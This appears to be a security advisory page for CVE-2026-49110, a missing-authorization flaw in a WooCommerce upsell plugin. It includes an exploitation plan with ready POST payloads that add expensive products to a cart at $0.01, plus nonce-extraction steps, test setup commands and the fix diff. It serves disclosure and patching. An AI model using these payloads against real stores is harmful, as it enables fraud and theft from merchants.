CVE-2026-49110

Upsell Funnel Builder for WooCommerce – Create Upsells, Cross-Sells, Order Bumps, Frequently Bought, and Popups. <= 3.1.4 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
3.1.5
Patched in
7d
Time to patch

Description

The Upsell Funnel Builder for WooCommerce – Create Upsells, Cross-Sells, Order Bumps, Frequently Bought, and Popups. plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.1.4. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.1.4
PublishedJune 4, 2026
Last updatedJune 10, 2026

What Changed in the Fix

Changes introduced in v3.1.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-49110 ## 1. Vulnerability Summary **Vulnerability Name:** Unauthenticated Price Manipulation / Unauthorized Cart Action **CVE ID:** CVE-2026-49110 **Affected Plugin:** Upsell Funnel Builder for WooCommerce (slug: `upsell-order-bump-offer-for-woocommerce`) **A…

Show full research plan

Exploitation Research Plan - CVE-2026-49110

1. Vulnerability Summary

Vulnerability Name: Unauthenticated Price Manipulation / Unauthorized Cart Action
CVE ID: CVE-2026-49110
Affected Plugin: Upsell Funnel Builder for WooCommerce (slug: upsell-order-bump-offer-for-woocommerce)
Affected Versions: <= 3.1.4
Vulnerability Type: Missing Authorization
Description: The plugin registers several AJAX actions that lack proper capability checks and nonce verification. Specifically, the "Frequently Bought Together" (FBT) functionality allows unauthenticated users to trigger the add_to_cart_fbt_product action. Because the server trusts client-provided price parameters (e.g., wps_discount_price) without verifying them against the database or requiring administrative privileges, an attacker can add products to their cart at arbitrary prices.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: add_to_cart_fbt_product (and potentially add_cart_discount_offer_in_cart)
  • Method: POST
  • Authentication: Unauthenticated (nopriv AJAX hook)
  • Vulnerable Parameters:
    • wps_product_id: Array of product IDs to add to cart.
    • wps_discount_price: The arbitrary price value to be applied to the products.
    • wps_main_prod_id: The ID of the trigger product.

3. Code Flow

  1. Registration: The plugin initializes Upsell_Order_Bump_Offer_For_Woocommerce_Public.
  2. Hooking: Inside the public class, the action wp_ajax_nopriv_add_to_cart_fbt_product is hooked to a handler function (e.g., wps_ubo_add_to_cart_fbt_product).
  3. JS Invocation: In public/js/wps_ubo_lite_fbt.js, the AJAX request is defined. Note that at line 17, the nonce is explicitly commented out: // nonce: wps_ubo_lite_public_fbt.auth_nonce.
  4. Processing: The PHP handler (located in public/class-upsell-order-bump-offer-for-woocommerce-public.php) receives the POST data.
  5. Sink: The handler likely calls WC()->cart->add_to_cart() or a similar function, passing the wps_discount_price directly into the cart item data without validating if the current user is authorized to receive that specific discount or if the discount value is legitimate.

4. Nonce Acquisition Strategy

Based on public/js/wps_ubo_lite_fbt.js, the nonce check for the FBT action appears to be entirely disabled or missing in version 3.1.4.

If a nonce is required by the server-side handler despite being commented out in the JS:

  1. Shortcode Identification: Identify a page containing the FBT offer. The plugin uses the shortcode [wps_bump_offer_shortcode] or displays offers automatically on product pages.
  2. Page Creation: Create a test environment page: wp post create --post_type=page --post_status=publish --post_content='[wps_bump_offer_shortcode]'
  3. Extraction:
    • Navigate to the page.
    • Use browser_eval to check the localization object: window.wps_ubo_lite_public_fbt?.auth_nonce.
    • The localized variable is registered in public/class-upsell-order-bump-offer-for-woocommerce-public.php via wp_localize_script.

5. Exploitation Strategy

The goal is to add a high-value product to the cart for a nominal price (e.g., $0.01).

Step-by-Step Methodology:

  1. Discovery: Identify a valid product ID (wps_product_id).
  2. Request Formulation: Send a POST request to the AJAX endpoint.
    • URL: http://example.com/wp-admin/admin-ajax.php
    • Content-Type: application/x-www-form-urlencoded
    • Body:
      action=add_to_cart_fbt_product&wps_product_id[]=ID_OF_EXPENSIVE_PRODUCT&wps_discount_price=0.01&wps_main_prod_id=ID_OF_ANY_PRODUCT
      
  3. Verification: Observe the response. A success response ({"success": true} or similar) suggests the product was added.

6. Test Data Setup

  1. WooCommerce Installation: Ensure WooCommerce is active.
  2. Product Creation:
    wp post create --post_type=product --post_title="Expensive Item" --post_status=publish
    wp post create --post_type=product --post_title="Trigger Item" --post_status=publish
    # Note the IDs of both products
    
  3. Plugin Config: Ensure "Frequently Bought Together" is enabled in the plugin settings.

7. Expected Results

  • HTTP Response: A JSON object indicating success.
  • Cart State: The cart should now contain the "Expensive Item" with a unit price of $0.01.
  • Access Control Bypass: The operation succeeds without any session cookies or Authorization headers.

8. Verification Steps

  1. Check Cart via Browser: Navigate to example.com/cart and verify the product price.
  2. Check Cart via CLI:
    Since cart data is session-based, browser verification is preferred. However, one can check the WooCommerce logs or the wp_woocommerce_sessions table in the database if the session ID is known.
    wp db query "SELECT * FROM wp_woocommerce_sessions WHERE session_key = 'YOUR_SESSION_ID'"
    

9. Alternative Approaches

If add_to_cart_fbt_product is patched or restricted:

  • Investigate add_cart_discount_offer_in_cart: This action (seen in public/js/wps_ubo_lite_public_cart_script.js) also takes a price parameter wps_cart_offer_product_price.
  • Payload:
    action=add_cart_discount_offer_in_cart&parent_product_id=ID&wps_cart_offer_product_id_value=ID&wps_cart_offer_product_price=0.01&wps_cart_offer_quantity_value=1
    
  • Nonce Requirement: This action uses wps_ubo_lite_public_cart.auth_nonce. If this is required, extract it from the cart page source using browser_eval("wps_ubo_lite_public_cart.auth_nonce").
Research Findings
Static analysis — not yet PoC-verified

Summary

The plugin is vulnerable to unauthorized price manipulation due to missing authorization and nonce checks on its AJAX handlers for adding 'Frequently Bought Together' products and cart offers. Unauthenticated attackers can exploit this to add any product to their cart at an arbitrary price by supplying a custom price parameter in the request.

Vulnerable Code

// public/js/wps_ubo_lite_fbt.js
jQuery.ajax(
    {
        type: 'post',
        dataType: 'json',
        url: wps_ubo_lite_public_fbt.ajaxurl,
        data: {
            // nonce: wps_ubo_lite_public_fbt.auth_nonce,
            action: 'add_to_cart_fbt_product',
            wps_product_id : wps_all_product_id,
            wps_discount_price: wps_fbt_discount_price,
            wps_main_prod_id : wps_main_prod_id,
        },
        success: function (msg) {
            alert( 'Product Added!!' );
        }
    }
);

---

// public/js/wps_ubo_lite_public_cart_script.js
jQuery.ajax(
    {
        type: 'post',
        dataType: 'json',
        url: wps_ubo_lite_public_cart.ajaxurl,
        data: {
            nonce: wps_ubo_lite_public_cart.auth_nonce,
            action: 'add_cart_discount_offer_in_cart',
            parent_product_id: parent_product_id,
            child_product_id: child_variation_id,
            wps_cart_offer_quantity_value: wps_cart_offer_quantity_value,
            wps_cart_offer_product_id_value: wps_cart_offer_product_id_value,
            wps_cart_offer_product_price: wps_cart_offer_product_price
        },
        success: function (msg) {
            $( document.body ).trigger( 'added_to_cart', {} );
            $( document.body ).trigger( 'update_checkout' );
        }
    }
);

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/upsell-order-bump-offer-for-woocommerce/3.1.4/includes/class-upsell-order-bump-offer-for-woocommerce.php
+++ /home/deploy/wp-safety.org/data/plugin-versions/upsell-order-bump-offer-for-woocommerce/3.1.5/includes/class-upsell-order-bump-offer-for-woocommerce.php
@@ -78,7 +78,7 @@
 		if ( defined( 'UPSELL_ORDER_BUMP_OFFER_FOR_WOOCOMMERCE_VERSION' ) ) {
 			$this->version = UPSELL_ORDER_BUMP_OFFER_FOR_WOOCOMMERCE_VERSION;
 		} else {
-			$this->version = '3.1.4';
+			$this->version = '3.1.5';
 		}
 		$this->plugin_name = 'upsell-order-bump-offer-for-woocommerce';

--- /home/deploy/wp-safety.org/data/plugin-versions/upsell-order-bump-offer-for-woocommerce/3.1.4/languages/upsell-order-bump-offer-for-woocommerce-en_US.po
+++ /home/deploy/wp-safety.org/data/plugin-versions/upsell-order-bump-offer-for-woocommerce/3.1.5/languages/upsell-order-bump-offer-for-woocommerce-en_US.po
+#: public/class-upsell-order-bump-offer-for-woocommerce-public.php:2563
+msgid "Invalid cart offer request."
+msgstr ""
+
+#: public/class-upsell-order-bump-offer-for-woocommerce-public.php:2577
+msgid "Invalid cart offer product."
+msgstr ""
+
+#: public/class-upsell-order-bump-offer-for-woocommerce-public.php:2748
+msgid "Invalid frequently bought together request."
+msgstr ""

Exploit Outline

The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the add_to_cart_fbt_product action. An unauthenticated attacker can identify a high-value product ID (wps_product_id) and construct a POST request that includes an arbitrary price value in the wps_discount_price parameter. Because the plugin's server-side handler for this unauthenticated action does not verify the integrity of the price against the database or require an administrative nonce, the specified product is added to the attacker's WooCommerce cart at the manipulated price, allowing them to checkout at a significant discount.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.